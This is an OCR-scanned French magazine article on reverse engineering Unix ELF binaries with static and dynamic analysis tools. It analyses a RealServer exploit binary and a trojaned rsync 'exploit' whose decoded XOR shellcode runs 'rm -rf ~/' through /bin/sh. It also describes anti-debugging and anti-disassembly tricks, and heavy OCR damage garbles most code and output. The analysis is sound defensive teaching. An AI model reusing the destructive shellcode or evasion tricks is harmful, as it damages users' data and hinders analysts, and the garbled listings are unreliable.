= [1] N.Brulez. Techniques de Reverse Engineering - Analyse d'un exécutable “verrouillé” - MISC 7.

» [2] Documentation sur le Format PE - http://spiff.tripnet.se/~iczelion/files/pel.zip.

* [3] Import Reconstructor - http://wave.prohosting.com/mackt/projectsf/imprec/ucfir | 6f.zip
= [4] LordPE - http://mitglied.lycos.de/yodaZk/LordPE/info.htm
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Ingénierie inverse sous UNIX

Quand on parle de reverse engineering, les premiéres
choses qui nous viennent a 'esprit sont Windows et IDA
Pro. Effectivement, vous avez pu lire tout au long des
précédents MISC des articles sur le désassemblage (et
donc le reverse engineering) de vers ou virus, le format
PE, l'utilisation d’IDA ou de SoftICE, etc. Mais jamais il
n’a été question de reverse a proprement parler, sur
plateforme Unix/Linux.

Cet article se découpera en deux parties : d'un coté 'analyse
statique et de l'autre I'analyse dynamique, et pour chacune d'elle
nous utiliserons un binaire appelé dmntreal (que nous vous
fournissons avec le reste des programmes). Nous essaierons
en méme temps de vous montrer les outils les plus efficaces a
utiliser:Tous les scripts ou programmes sont téléchargeables a
une seule adresse : [miscprog]. A ce propos, devant le nombre
non negligeable de références, exceptionnellement, elles ne
seront pas présentes en fin d'article, mais également sur ce lien
afin de gagner un peu de place -/

Analyse statique

L'analyse statique consiste a reverser le binaire sans le lancer. Elle
évite de prendre des risques et permet de réaliser une étude du
binaire plus approfondie qu'avec une analyse dynamique, @ condition
de connaitre le format du binaire, en l'occurrence ELF, et 'assembleur.

Rappel sur le format ELF

ELF ou « Executeable and Linking Format » est le format de binaire
standard sous Linux. |l est structuré en headers et sections qui sont
référencés dans le fichier e1f.h. La structure E1f32 Ehdr recense les
informations sur le format proprement dit (type du binaire,
architecture...), E132_Phdr sur les segments du binaire et £1732 Shdr
chaque section du binaire. Ces informations sont primordiales et
la medification de I'une d'entre elles peut empécher toute analyse
du binaire. Pour ne pas recommencer un enieme tutorial sur le
format ELF, nous vous invitons 4 lire la documentation standard [elf]
ou a rechercher sur Internet.

Les premiéres informations

Cette premiére étape consiste a récupérer un maximum
d'informations sur le binaire lui-méme : pour quelle plateforme il a
été compilé, avec quel compilateur, etc. Elle nous donne les premiéres
bases avant de faire une analyse fonctionnelle plus approfondie du
binaire.

file et strings seront les premiers outils & utiliser, disponibles dans
toutes distributions Linux qui se respectent. Le premier determine
le type du fichier tandis que le second extrait du binaire toutes les
chaines de caractéres presentes.

§ file dmntreal

dantreal; ELF 32-bit LSB executahle, Intel BE386, version 1 (SYSV), dynamically

Tinked (uses share
§ strings -a dmntreal
[0

RealServ vL.B against Linux/Intel RealMedia server <= 8.
Complilad for D3mdnte by jmkr.

-] %8 -h host -t num

] -h hest - victims address

] -t type - @ for target 1ist

Have you got & sheil,

d;uname -a;w

not stripped

=
e
[-
s
L
il
i

i 1
{5
o

GCC: (GNUY 3.3 20030226 (prerelease) (SuSE Linux)
£ 7

j"il-.éII‘.’IS-"r,.-"[;aENGE‘E.-"[\':J:.-_E_-"qIibc-33.2-"[55

[y4d

D'apres la banniére récupérée, nous supposons sans trop d'erreur
que le binaire est un exploit pour le serveur Linux/Intel RealMedia
server <=9.x. Nous apprenons aussi que c'est un binaire ELF (pas
vraiment de surprise :), compilé pour processeur Intel 80386, non
« strippé » et lié dynamiquement a des librairies. strippé signifie que
la table des symboles a été supprimée du binaire grice a la
commande /usr/bin/strip. N'étant pas le cas de notre binaire,
I'analyse n'en sera que plus facile.

La commande strings nous renseigne sur beaucoup de choses,
notamment |a version du compilateur et de la librairie C. Cette
commande recupere en fait surtout les informations des sections
ELF .note et .comment (n'oubliez pas l'option -a sinon la section
.comment sera omise).

Le binaire n'est pas compilé statiquement, nous pouvons alors
connaitre les librairies dont il dépend grace a la commande
fusr/bin/ldd :

fx4801a000)

(1ib/Td-Tinux.so.2 (Ex40088008)
Le binaire ne dépend d'aucune librairie mise a part la g11be standard.
Non strippé et pas compilé en statique, le pirate semble n'avoir
appliqué aucune protection sur son binaire.

Le format du binaire étant ELF, il est aussi possible de récupérer
des informations quant a ce format : description des sections,
affichage de la table des symboles (si le binaire n'est pas strippé),
etc., grace aux commandes objdump et readelf faisant partie du
package binutils. Toutes ces commandes évoquees ont une page
man que nous vous conseillons de lire pour connaitre 'ensemble
des fonctionnalités gu'elles offrent.

§ readelf -1 dantreal

E1f file type is ENEC (Executable file)
Entry point BxBA4585e
There are & program headers, starting at offset

e

Brogram Headers:

Type O0ffset  VYirtAddr PhysAddr  FileSiz MemSiz Flg Align
PHOR f«BB8834 xB8048E34 BxBBA4BAIL BrOBOCE BxBEGCE R E Ond
INTERP AcB0RET4 BxBOB4RATY OxAOQLBOTL OxOQO13 DxBOO1I R Gx]

[Requesting program interpreter: /iib/1d-1inux,s0.2]




Philippe Biondi
<phil@secdev.org>
<philippe.biondi@arche.fr>

Samuel Dralet
<zg@kernsh.org>

L&D {#x000000 0xBBA4BREE PxBAD4RORE BxB2852 Dxf285e R [ Ox1000
LOAD Hn0B2860 DxDBB4aB60 BxA004a060 Ox0B284 BxOE254 RN Ex1008
DYNANIC Bx002074 DxBBA4aGTY BxBOB4a074 Dx0OCH DxBRBCH RK Oxd
NOTE 3080108 GxBEA4B1AE DxBOB4B1E8 BxOOHZN Cx00020 R Bxd

Section to Seqment mapping:
Segment Sections,..

pa

1l Jinterp

#2 Jinterp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu,version_r
crel.dyn rel.pit Linit .plt Ltext .fini .rodata

ik} .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss

& Ldynasic

35 note.ARI-tag

Le point d'entrée Entry point Ex884985e et les adresses des sections
semblent étre standard, aucune protection n'a donc ete appliquée
sur le binaire. Une protection binaire est un programme qui est capable
de transformer n'importe quel programme de sa forme exécutable
originale en une forme, toujours exécutable, mais qu'il est beaucoup
plus difficile d'analyser. Dans les grandes lignes, ceux-ci chiffrent et/ou
compressent le binaire original et insérent un chargeur, dont le rdle
est de déchiffrer le binaire 2 la volée. Parmi les plus connus dans le
monde Unix, nous avens BurnEye [burneye], Shiva [shiva], UPX [upx],
Objobf [objobf] qui est en quelque sorte le successeur de BurnEye.
Et il en existe d'autres. Si par exemple le pirate avait appliqué la
protection BurnEye 3 notre binaire, nous aurions eu :

§ readelf -1 /tmp/dmntreal.be

Eif file type is EXEC (Executable file)

Entry point Bx5371035

There are 7 program headers, starting at offset 52

Program Headers:

Type Offset  VirtAddr PhysAddr FileSiz MemSiz Flg Align
L0&D fxA0GE0a OxA5370000 005370008 Bx@c2SE Ax0d008 RWE 9x1000
L0AD Bxffc25 GxB804aats Bx0884aafd Ox00RE BxE0U08 RN 011008

Le point d'entrée aurait complétement changeé, certains headers du
binaire auraient disparu et aucune section ne serait presente.
L'analyse statique aurait été bien plus complexe.

Tous ces utilitaires file, strings... sont donc trés pratiques pour
avoir une premiere idée sur le binaire a reverser. Plusieurs scripts
existent sur le Net qui automatisent un peu le tout dont notamment
faust [faust]. Cet outil fait exactement la méme chose que I'ensemble
des commandes que nous venons d’évoquer mais il le fait de maniere
compléte, tout 2 fait automatisée et configurable. || permet aussi de
faire de I'analyse dynamique, technique qui sera vue plus loin dans
l'article.

Utilisation de graphes

Une fois que nous avons toutes les informations a propos du binaire,
I'etape suivante est de faire une analyse plus fonctionnelle.
Généralement, le but est de connaitre les fonctions que le binaire
appelle et de pouvoir générer un graphe de ces appels de fonctions,
appelé plus communément flot d'exécution.

Plusieurs outils existent tels que flowgraph [flowgraph], e1fsh [elfsh]
ou encore binZgraph [bin2graph]. flowgraph et binZgraph utilisent
objdump et graphviz [graphviz] pour la représentation, flowgraph
étant beaucoup plus abouti. e1fsh utilise ses propres librairies
manipulant le format ELF et pouvant désassembler un binaire.

La difficulté de ces graphes est de pouvoir représenter de maniere
simple ce flot d'exécution. Par exemple, méme pour un programme
simple comme /bin/cat, on obtient avec binZgraph un graphe trop
gros pour étre exploite.

Lorsque nous avons affaire a quelque chose de plus petit, comme
une simple fonction ou un shellcode, egaaraph [eggraph], qui fait a
peu prés la méme chose pour un bout de code hors de toute
structure, donne des résultats plus exploitables.

Pour notre binaire, nous allons utiliser quelque chose d'assez simple,
un petit script drawgraph.pl disponible dans [miscprog] qui utilise
objdump, desassemble le code (cf le chapitre désassemblage) et
récupére toutes les instructions call pour générer un semblant de
graphe, suffisant dans notre cas :

drawgraph.p! - draw @ pseudo-graph of functions

<zgBkernsh,org>

[+] ELF binary : (home/compag/article/reverse/unix/dmnireal
[*]1 15 functions

main

+ Usage

+utf 12

+ buildbuffer
+ write_sock

[*] Other functions

Leesd

Les fonctions parlent d’elies-mémes : utf 12() pour I'encodage en
UTF-12, buildbuffer() pour construire le buffer qui exploitera
certainement la faille et write_sock() qui envoie le tout sur la
connexion reseau.

Désassemblage du bhinaire

L'obtention des graphes des flots d'exécution d'un binaire est souvent
une étape délaissée dans le reverse engineering (surtout pour des
binaires assez complexes), du fait principalement que ce n'est pas
une technique encore arrivée a maturité et qu'il n'y a pas du coup
d'outils vraiment evolués dans ce domaine, en tout cas pour la
plateforme Linux.

Quand on reverse, on a plutot tendance, apres avoir récupere des
informations sur le binaire, & vouloir le désassembler, technique
visant & récupérer le code assembleur d’'un programme, et a
I'analyser manuellement.

Qutre des bases nécessaires en assembleur (dépendant du processeur
sur lequel vous travaillez), il est nécessaire d'avoir un bon outil.

sl
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L'outil ndisasm

ndisasm fait partie de la suite nasm. Il permet de désassembler des
binaires, mais il ne comprend pas les headers des fichiers.Vous devez
donc jongler avec les offsets pour pouvoir analyser la partie de code
que vous souhaitez, D'ailleurs, la page man de ndisasn conseille bien
d'utiliser objdump. Il n'en reste pas moins pratique pour désassembler
rapidement un bout de code ou un shellcode.

Par exemple, fin mai, un message intitulé new rsync :) exploit rsync-
ton-open [fdrsync] a été posté sur la liste FullDisclosure contenant
ce qui semblait &tre un source d'un exploit pour rsync. Une rapide
lecture du source montre I'existence d'une variable suspecte
shellcode? :

[h&‘ *he‘-!'rc=“" =

nG bl x4h xnﬁ\x-‘ 304286
s B fdixfe
VB kg3t xg 1299y x*a kel Bt xedingey
Vxehiredixee nddixde\afBhaba kb8 raainfa b x
ebhrl 3B vasc v aBd ol d xddh a0 1 x.@ PEATCEARLN kPF“
Floda T E L 2B b AT B3 k32 kT O\ BB R TBARE T

35"

Si on poursuit la lecture, on s'apergoit vite que ce shellcode est
exécuté sur la machine locale par I'exploit :

(Tong) funct = &shelicode?;
[...]
uncti 1y
Mais que fait donc ce shellcode ? Utilisons ndisasm pour le
désassembler :

§ echo -ne “Wxab\x1Ba5e X3l kcT kb1 \adb\ kb8 \AFF k30 B8, " | ndisasm -u
pBaamage 1@ jmp short @x12

fanaeeez st pep esi

joapaees 3108 Xor 8CK,BCK

fagnages Bl48 mov ci,Bxdb

faanage? BOFF moy &l

foaRaEeY  100e wor [

§0800808 FECE 1

fnagagan 46

faaaAReE

agasnate
nEanas2 -ﬁ EBFFFFFF
agapaslT 17

Lone]

Nous avons I3 le cas d'école du décodeur X0R. La premiére
instruction saute sur un appel 4 la deuxiéme instruction. Cela peut
paraitre futile lorsqu’on ne regarde que le flot d'exécution, Mais
I'effet de bord est que le call va pousser 'adresse de l'instruction
suivante (base+x17) sur la pile. Cette adresse est justement le
premier octet apres le décodeur, le premier octet a déecoder. |l est
récupéré par le pop esi. Nous avons ensuite une boucle entre les
offsets 0x9 et Oxe, qui va exécuter xor [esi], a1 pour 9x4b octets a
partir de x17, valeur d laquelle est initialise le registre ESI. AL est
initialise a @xff et est décrémenté a chaque boucle. Le décodage
peut étre effectué en quelques lignes de Python :
sheode="\xeb\x18\xbehx3l, "

“° joinimapllambds x,y: chriord(x) * y), shcode[@xl7:], rangel@xff, Bxff-Bxdb,-1)1)

Le dump hexadécimal de cette nouvelle chaine est trés parlant.

DEBABRGR. ed 75 O A0 @@ 2 62 69 e 27 73 6 @@ 71 68 88 [.5.../bin/sh.sh.|
0BA30018 2d €3 B8 72 6d 20 2d 72 66 20 Te 2f 23 28 32 Je I-:.rm -rf ~{% >
BaBdneze 2f 64 &5 7R 2f e 75 6c 6c @@ 5d 31 of 50 8 5 [/dev/nul1.]L.P.]
00858838 Be 53 8 5d Ab 53 Bd 5d B8 51 B9 eb B9 el 31 42 [.5.1.5.0.5....0
00003348 b8 Bb cd 88 B9 c3 31 <@ 48 cd B8 FEERET 1 A

Mais il ne faut pas toujours se fier aux apparences. Nous
desassemblons donc la nouvelle chaine par acquis de conscience :

$ echg -ne “\xeBE\xBE\A00. . ndisism -u
dA0BARE  E6Z5AARAAR call Bx2a
I' |

"hn -ne *eBR B8, ... " | dd bs=l skip=Si(@xla)) -l
oppgagae =0 pcp ebp
fpagaenl 3108 RUACEY T
dadnneel 5@ push eax
pagaagas S“BBE Tea by, [ebp+ixe]
d00aaagT push ebx
fagaaaan 3 lea ebx, [abp+Bxb]
pEeopane 5 push ebx
BEREODOC BOADER led ehx, [ebp+BxA]
paeeomar 53 push ehx
DRGREE1A RIEB mayv ehx,ehp
paRgeal? Bael MoV eLx, esp
fagdgd4 3102 xor edy, edy
BOREEE1c BAAE moy &l Bab
fageegls £0Aaa int @x88
oaaeee1s AIC3 moy ehx,eax
aaageelc 318 ABP eaK, AN
dpanRa1E 44 ne edx
0poase1F Chad int 8xaf

Nous avons donc la encore récupération de |'adresse du shellcode
(call+pop). On peut donc en déduire que I'élaboration de ce
shellcode et sa transformation en un shellcode encodé ont été deux
étapes bien separees, car cette adresse était déductible de la valeur
du registre ESI.

Quelques adresses de la zone mémoire que nous avons sautées
sont ensuite poussées dans la pile, puis I'adresse du pointeur de
pile est récuperée.

Nous reperons egalement deux int 8x88. Il s'agit d'appels systeme
Linux/x86. Il nous faut donc trouver la valeur gu’aura EAX lors de
cet appel pour connaitre le nom de I'appel systéme appelé. Leur
liste est en effet definie dans /usr/include/asm/unistd.h. lci, nous
avons Bxb et Bx1. En consultant le fichier, nous en déduisons qu'il
s'agit de execve() et de exit().

Nous pouvens alors reconnaitre que les adresses mémoire poussées
dans la pile servent a construire le tableau d'arguments, qui sont
plus qu'explicites dans le dump hexadeécimal.

Moralité : Ne jamais faire confiance a un programme, méme si on
en a le source. Celui-ci efface donc bien le répertoire de I'utilisateur
qui le lance.

Objdump

De son cote, chjdump offre la possibilité de désassembler tout ou
partie du code d'un binaire a I'aide des options -d ou -0.La premiere
permet de désassembler uniguement les sections qui contiennent
du code tandis que la seconde désassemble le binaire en totalite.
Les scripts binZgraph et flowgraph utilise d'ailleurs objdump.

Certains préféreront gdb qui permet aussi de désassembler des
binaires et facilite la résolution des symboles. C'est ce que nous
allons utiliser ici. Nous connaissons les noms des fonctions du
binaire, il ne nous reste plus qu'a écrire un petit script (vraiment
petit ;)} pour récupérer le code assembleur de la fonction que nous
souhaitons.

Nous nous focaliserons uniquement sur la fonction buildbuffert) :
§ cat disass.qdb

disass buildbuffer

quit

§9db -q -x disass.gdh dmnireal > dmntreal.asm

§ cat dmntreal.asm




Dump of assembler code for function buildbuffer:
Br8E48cds <bulldbuffers: push  ¥ebp

0x0048cd6 <buildbuffersl>: mov  ¥esp debp
0x8B48cd8 <buildbuffer+d>; sub  $@ulE Resp
fxB0d8cah <buildbuffer+6>; sub  $@xc Fesp
Bx8048cde <buildbuffertd>: push  S@xZ719

5804603 <buildbuffer+id>: call  BxBO4B854 <malloc>
r

Fasd

Vous trouverez le listing complet de la fonction et les explications
a l'adresse [miscprog]

Du fait que notre binaire ne soit pas strippé et n'ait pas la moindre
protection contre le reverse engineering, son code assembleur est
assez complet pour étre analysé et en comprendre son
fonctionnement assez facilement. L'instruction call BxB8848854
<malloc> indique clairement qu'il y a un appel & malloc(),il suffit de
regarder I'instruction précédente push $0x2718 pour connaitre la
taille de la mémoire allouée (0x2710 = 10000). En analysant de cette
maniére le code assembleur, il est possible au final de réecrire la
fonction buildbuffer() dans un langage plus evolue comme le C.

Si aucun outil de désassemblage ne vous convient, vous avez la
possibilité de le coder en utilisant des bibliotheques existantes qui
recensent toutes |es instructions assembleur comme la 1ibbfd
utilisée par objdump ou gdb, ou encore Tibdisasm du package The
Bastard [bastard].

Dans le cas d'un binaire strippé et compilé statiquement, la solution
pour le désassembler est de retrouver les noms des fonctions des
bibliothéques appelées a partir des bibliotheques utilisées lors de
I'edition de liens.

En pratique, une base de signatures des fonctions de chaque
bibliotheque est générée. Chaque fonction du binaire peut étre
localisée par le fait qu'on y fait un appel (cal1). |l suffit de comparer
sa signature avec celles que nous avons dans notre base pour
retrouver le nom des fonctions ayant la méme signature.

Le programme dress de la suite d'outils Fenris [fenris] permet
d'automatiser cette tiche.

Imaginons un programme tout juste compile statiquement :
§ gee -static -o progratme programme.c

BR4B5Ad: Bb 45 8 mov  BxffFEFTTdidebp) Seax
8048594 89 A4 24 mev  Heax, (kesp,l)
e 88 c1 B0 08 call BB54728 < libe_clo
£7 B5 34 fo Ff FF B8 movl  SOx@,@xTPFFFLI4(Rebp)

Si nous le strippons :
§ strip programme

Les noms des fonctions disparaissent :

fB4R5EE: Bb 45 T moy  BxfFEFFEEBIRabp) Feax
BR4BR0H; A0 g4 24 mov $eax, (%esp, 1)
B@4RS3: A BA cl 29 98 call @xB8@54778

A248598: 7 85 34 fb fF ff OF movl $0xB BxfffffbidiRenp)

=

§ objdump -t ./programme
Jgrogramme: file format e1f32-1386

objdump: ./programme: no symbols

A savoir qu'avec notre binaire strippé, le graphe drawgraph.pl n‘aurait
donné aucun résultat puisqu'il se base sur la commande objdump.

Nous générons alors une base d'empreintes & partir de la
bibliothéque utilisée pour la compilation grice au programme

fprints :
$ar-x Jusr/bi
§ for 4 in *.0

Puis nous I'utilisons pour reconstruire la table des symboles :
§ dress -F forints.dat programme programme-habille

MNous retrouvons donc :

b 45 f@ mov  ExFEEFFFER(Xebp) eax

25 §4 24 mov  eax,(%esp,l)

&R B8 ¢l 0@ 89 call 8054728 < 1ibe close / _close
close>
A048508: ¢7 85 34 fb ff Ff 00 mov] $Bxd,BxfEFFH34(%ebp)

Décompilation du hinaire

La décompilation d'un binaire vise a transformer son code binaire
en un langage de haut niveau tel que le C. Cette technique de reverse
engineering peut étre utile lorsqu’elle est utilisée en parallele au
désassemblage. Une comparaison des deux resultats evite d'étre
induit en erreur lorsque I'on essaye de comprendre le code
assembleur.

Loutil rec [rec] permet de décompiler un programme. Il est multi-
plateforme et peut décompiler beaucoup de formats de fichiers
dont ELF, COFF et PE.

Voici une utilisation tres simple de cet outil :

§ .rec | Jdmnireal

[tmp/dmntreal is an ELF/i386 executzble file

Section Offset Address Size
.interp BEgET QARB4RETY BID13
note ABI-tag  GOG108 MABQAELEE BERZE
fash fe@128 BEE4RIZE ARI34
liad

feading symbo] table...

Finding referencas...

Finding procedures...

Done.

Decompiling 98A4053a - BAABEREE (1/54)

Left 15 assembly statements, @ assembly nodes
Translation complete - 627 translated statements in @ sec
$ cat . (dantreal.rec

(]

/% Brocedure: 0x08048005 - @xBAB44ER]

* Arqument size: -16

¥ local size: 24

* Saye regs size; #

*."

buildbyrfertAd, Ac)
/% unknows */ void A8
/* unknown */ void Ac;

s

/% dnknown */ void VFEFFFFF4;
/% unknown */ void NTTTTFFFR;
I* unknown */ yoid VEFEFFffe;

esp = esp - 12;

(save) 1008,

psp = esp + 16

14 = malloc();

fdd
Nous retrouvons bien notre malloct 16888 ) de la fonction
buildbuffer( ).

rec n'est pas le seul outil de ce genre. Nous pouvons egalement
citer UNce [unec] ou dee [dec].
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Qu’'est-ce que le pirate aurait pu ou di faire ?

sstrip, un remplacant a strip

Il est clair que la personne qui a compilé ce binaire n'a pris aucune
précaution pour éviter de pouvoir le reverser, tout du moins pour
une analyse statique. Outre le compiler statiquement et le stripper,
il aurait pu supprimer un maximum d'informations avec sstrip
[sstrip]. Cet outil efface d'un binaire tout ce qui ne fait pas partie
de 'image mémoire du programme.

Avec strip:
§ file dmntredl
dmntreal: ELF 32-bit LSB execut
linked (uses shared 1ibs), stri
§ abjdump -j .interp -5 dmntres

ghle, Intel B3BG, version 1 (SYSV), dymamically
pped
|

r

dmntreal: file format e1f32-1386

Contents of section ,interp:
8043874 2f6chl62 26chdld GcR9Bels 7827367 /1ib/1d-Tinux.s0
BR4B184 Ze3208 o

Avec sstrip :

§ file dmntresl

dantreal: ELF 32-bit LSB execufable, Intel BA384, version 1 (SYSV), dvnamically
linked (uses shared 1ibsifile: corrupted section header size

§ objdump -j .interp -5 dantreal

dmntreal: file format elfiz

Anti-désassemblage

Une autre ideée de protection anti-reversing est de tromper le
desassembleur en assemblant d’une certaine fagon les parties
critiques du binaire. || suffit par exemple d'ajouter un saut (imp) en
plein milieu d'une instruction, la ol le code réel démarrera [antidbg].
Le desassembleur n'y verra que du feu et désassemblera l'instruction
entiere. || sera complétement décalé par rapport au code réel. On
donne en quelgue sorte au désassembleur une fausse indication sur
le flot d'execution du programme.

Analyse dynamique

L'analyse dynamique consiste a observer le programme tourner.
Cela suppose de prendre beaucoup plus de précautions car la
moindre imprudence ou erreur de manipulation peut coliter cher.

Ce genre d'analyse s'effectue avec un utilisateur restreint ou sur une
machine isolée ou encore sur une machine virtuelle. Cette derniere
solution est en général la mieux adaptee car elle permet d'obtenir
un environnement trés proche d'une machine normale, tout en étant
capable de contenir toute erreur. On peut méme avoir la possibilité
d'effectuer des photographies de I'état de la machine propre, et ainsi
de revenir rapidement en arriére en cas de catastrophe.

Les techniques de débogage

Si nous pouvens deboguer un programme, c’est avant tout grice a
la présence de certaines fonctionnalités du processeur pour
permettre ce genre de choses. La connaissance du fonctionnement
intime du débogueur est primordiale pour pouvoir tracer un
programme intégrant des protections anti-débogueurs. Nous allons
en décrire quelques-unes concernant le processeur x86, ainsi que
la fagon dont elles interagissent avec un noyau UNIX choisi au
hasard : Linux.

Lappel systeme pirace

Lappel systeme ptrace(), disponible sur beaucoup d'Unix, permet
de prendre le contréle d'un processus. Il est alors possible de
stopper, relancer, exécuter pas a pas le programme, ou encore
d'accéder a sa mémoire et aux registres processeurs de son
contexte.

Lacces a ces derniers se fait grice aux fonctions
PTRACE_PEEKUSR/PTRACE_POKEUSR qui permettent de manipuler une
zone mémoire de 284 octets, decrite par la structure struct user
du fichier /usr/include/sys/user.h.

Le point d'arrét logiciel

La premiere fonctionnalite offerte par le processeur est la possibilité
d'interrompre I'exécution d'un programme a un endroit donné.
Cela se fait en déclenchant un appel a l'interruption numéro 3 :int
3 en assembleur. Celle-ci ne se differencie des autres interruptions
que par la fagon dont elle est codée en langage machine. Alors
qu'un appel 3 une interruption quelconque se code sur deux octets,
@xCD+num, celle-ci a un opcode special sur un seul octet, BxCL, et est
ainsi moins intrusive lorsqu'on la place dans le code.

En effet, lorsque I'on demande au débogueur de placer un point
d'arrét & une adresse donnée, il va tout simplement écraser le
premier octet de l'instruction figurant a cette adresse avec la valeur
xce, noter qu'il y a placé un point d'arrét et quel est l'octet écrase.

Lorsque le programme s'exécute et que le processeur rencontre
un opcode @xCC (int 3),il va consulter sa table d'interruptions (IDT,
Interrupt Descriptor Table) pour savoir a quelle adresse se trouve le
gestionnaire de cette interruption. Il s'agit, en temps normal, d'un
bout de code du noyau Linux. Il détermine quel est le processus
qui a declenche cetre interruption et |ui envoie un signal SIGTRAP.

Ce signal suit le chemin d'un signal normal :si le processus est
« ptrace() », c'est le processus qui le « ptrace() » qui interceptera
le signal. Dans le cas contraire, le gestionnaire du signal
correspondant est appele. Le gestionnaire par défaut arréte le
programme, et le shell affiche :

Trace/breakpoint trap (core dumped)

Un debogueur classique « ptrace() » le processus qu'il débogue. ||
peut donc placer des points d'arrét aux adresses qui lui sont
demandées en ecrasant |'octet a ces adresses par 8xCC, lancer le

programme, et attendre d'étre notifie par le noyau de I'apparition
d'un signal SIGTRAP a destination du processus débogue.

Lorsqu'un point d'arrét est rencontré, il vérifie qu'il correspond
bien a un point d’arrét qu'il a lui-méme pose. Le cas échéant, il le
remplacera par I'octet d'origine pour continuer I'exécution, sans
manquer de le replacer ensuite.

Considerons le programme suivant :
int. main{void)

for (=8 1< 8&; i+ printf(*Z82x “ *((unsigned char
*hmainti)):
printf*\n");

Il affiche les B premiers octets de la fonction main(). Lorsqu'en le
lance sous gdb, on obtient le résultat attendu :




{gdb) »/Bxb main

xB04B364 +  Bx55 DxAY Bxed @83 Bxec @x18 8483 Hued
{gdo} 7

Starting program: [tmp/t

55 89 5 B3 ec 18 B3 o4

Si maintenant nous plagons un point d'arrét :
{qdb ) brezk main

Breakpoint 1 at 228048362

Nous notons d’abord que gdb le place 6 octets apres le debut de
la fonction (9x884836a au lieu de 0x8E48364), une fois que le stack

frame est établi, afin d'acceder facilement aux paramétres et aux
variables locales.

Si nous interrogeons gdb sur le contenu de la mémoire, il va nous
cacher la présence du peint d'arrét. Apres tout, c'est censé étre
transparent :

{odb) x/8xb main

Bx8046364 ¢ Bx55 BxB9 Oxed xB3 Grec Bx18 BxB3 Ered

En revanche, le programme n'est pas dans la confidence, et lorsqu'on
lui demande d'afficher les 8 premiers octets, il ne va rien nous cacher :

(ggb) 1

Starti

program: /tmp/t
Brea 1, 8xB8848362 in main (]

(gdb) ¢

Continuing.

55 89 e 83 2c 18 cc ed 0 DB B0 60 80 89 23 ¢

Un programme qui observe son propre code, par exemple en
effectuant des sommes de contréle ou des hashs cryptographiques
de parties de lui-méme, peut donc détecter en particulier la presence

de points d'arrét logiciels.

Un autre point qu'il faut garder en téte est le cas du code auto-
modifiant ou dynamique. Lorsqu’on place un point d'arrét dans une
partie de code qui va changer, au mieux le point d'arrét va étre
écrasé par du nouveau code, au pire il va étre transformé en une
instruction erronée. Par exemple, dans le cas d’'un code chiffré qui
va étre déchiffré, le point d'arrét va étre pris pour une donnee
chiffrée par la fonction de déchiffrement et étre transformé pour
donner une instruction déchiffrée erronée.

L'avantage des points d'arréts logiciels est le fait qu'on puisse en
placer autant que nous le souhaitons et que nous puissions laisser
le programme débogué vivre sa vie en attendant qu'il rencontre un
point d'arrét.

Linconvenient, c'est son coté intrusif. Lambiguité code/données fait
gue le point d'arrét ne posera pas de probléme tant qu'il est considére
comme une instruction, mais ce ne sera pas toujours le cas.

Le tracage pas a pas

Lorsque nous souhaitons tracer un programme pas a pas, c'est-a-
dire instruction par instruction, on utilise un autre mécanisme. |
serait bien entendu possible d'écraser toutes les instructions une
par une avec un @xCC, mais il y a plus simple. Le 8eme bit du registre
EFlags du processeur est nornmé TRAP. Sa valeur normale est 0.5’
est a |,le processeur déclenche une interruption (int 1) a chague
instruction qu'il execute.

Le noyau en sera averti et la convertira en un signal SIGTRAP envoye
au processus, lui-méme intercepté par le débogueur grace a ptrace.

Cela signifie gu'un programme peut accéder a ce drapeau et
déterminer s'il est en train d'étre tracé pas a pas:

mainivoid)

{

int flags:

_asm__(“pushf \m\
pop Fhear °
"=3"(flags));
printf((flags & Ex1EE) 7 “trap!\a"™:"pas trap!in™);

}

Breakpoint 1, BxBBE48362 in main ()

(gdb] ¢

Continuing,

Pas trap !

Alors que :

Bregkpoint 1, 0xBBB4B362 in main ()

(gdb} ni

8xA804836¢ in main ()

(gdb) ni

AxARB4BITE Tn main ()

[..]

(gdb) ni

Trap !

Cela signifie egalement que le débogueur est averti de la méme
fagon, qu’il s'agisse d'un point d'arrét ou d'un tragage pas a pas.
Lorsque gdb intercepte un signal SIGTRAP, il verifie qu'il correspond
bien & un point d'arrét. Si ce n'est pas le cas, il regarde alors s'il a
placé le programme en tracage pas a pas. Si ce n'est pas non plus
le cas, il signale avoir requ un SIGTRAP inattendu.

Par exemple, si nous plagons un faux point d'arrét logiciel dans
notre programme :
int maintvoid)
i
1
_asm_(“int §3");
|
En mode normal, gdb se rend compte qu'il n'aurait pas dil recevoir
ce signal :
(adb) x/i Seip
DxBB48344 <maintif>;  intd
(gdb) ¢
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
DxBBBLEI45 in main ()

Par contre, gdb ne verra rien lorsqu’on est en mode tragage pas a

p:—lS %

(adb} #/1 Seip

§xBB48244 <main+le>:  intd
{gdbi ni

Ax@aB48345 in main ()

S'il avait lui-méme placé ce point d'arrét, il nous aurait signale le fait
qu'on l'ait atteint. Cette confusion est due au fait qu'il n'y a pas de
moyen de distinguer int3 et intl directement. gdb considere qu'il
s'agit de I'int 3 lorsque ['instruction courante correspond a un point
d'arrét qu'il a posé. Il aurait également pu lire 'opcode a cette
adresse et regarder s'il s'agit de fxcc ou non.

Les waichpoints

Les watchpoints sont des adresses mémoire a surveiller. Le debogueur
laisse tourner le programme jusqu'a ce que leurs valeurs changent.
Avant I'apparition des registres de debogage (voir paragraphe
suivant), le seul moyen d'arriver a ce résultat était de tracer pas a
pas et de vérifier que la valeur a cette adresse n'avait pas changée.
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Il était de plus trés difficile de tester 'acces en lecture a une adresse
mémoire car il fallait en plus interpréter chaque instruction pour
determiner si elle accedait a la zone memoire a surveiller.

Les registres de débogage

Les registres de débogage sont apparus plus tard dans la famille
x86. lls se composent d'un registre de contréle (IR7), un registre
de status (DR6), deux registres réserveés (IR5, DR4) et 4 registres
d'adresses (DR3, DR2, DRI, DRA). Il suffit de renseigner un registre
d'adresse avec I'adresse qu'on souhaite surveiller. Le registre de
contréle permet lui d'indiquer si on souhaite surveiller les acces
en lecture, en écriture ou en exécution a cette adresse. On peut
ainsi aussi bien faire des points d'arrét que des watchpoints.

Lorsqu'un acces est détecté, le processeur declenche une interruption
(int 1), elle-méme transmise sous forme de signal (SIGTRAP) au
programme, et interceptée par le débogueur. Le registre de status
permet de distinguer une interruption a cause du tragage pas a pas
d'une interruption provoquée par les registres de débogage, ainsi
que de savoir, le cas échéant, quel registre d'adresse est concerné.
Pour plus de détails, consultez le chapitre 12 de [i386].

L'acces en lecture ou écriture aux registres de débogage est une
opeération privilégiée. Un processus ne peut pas y accéder sans le
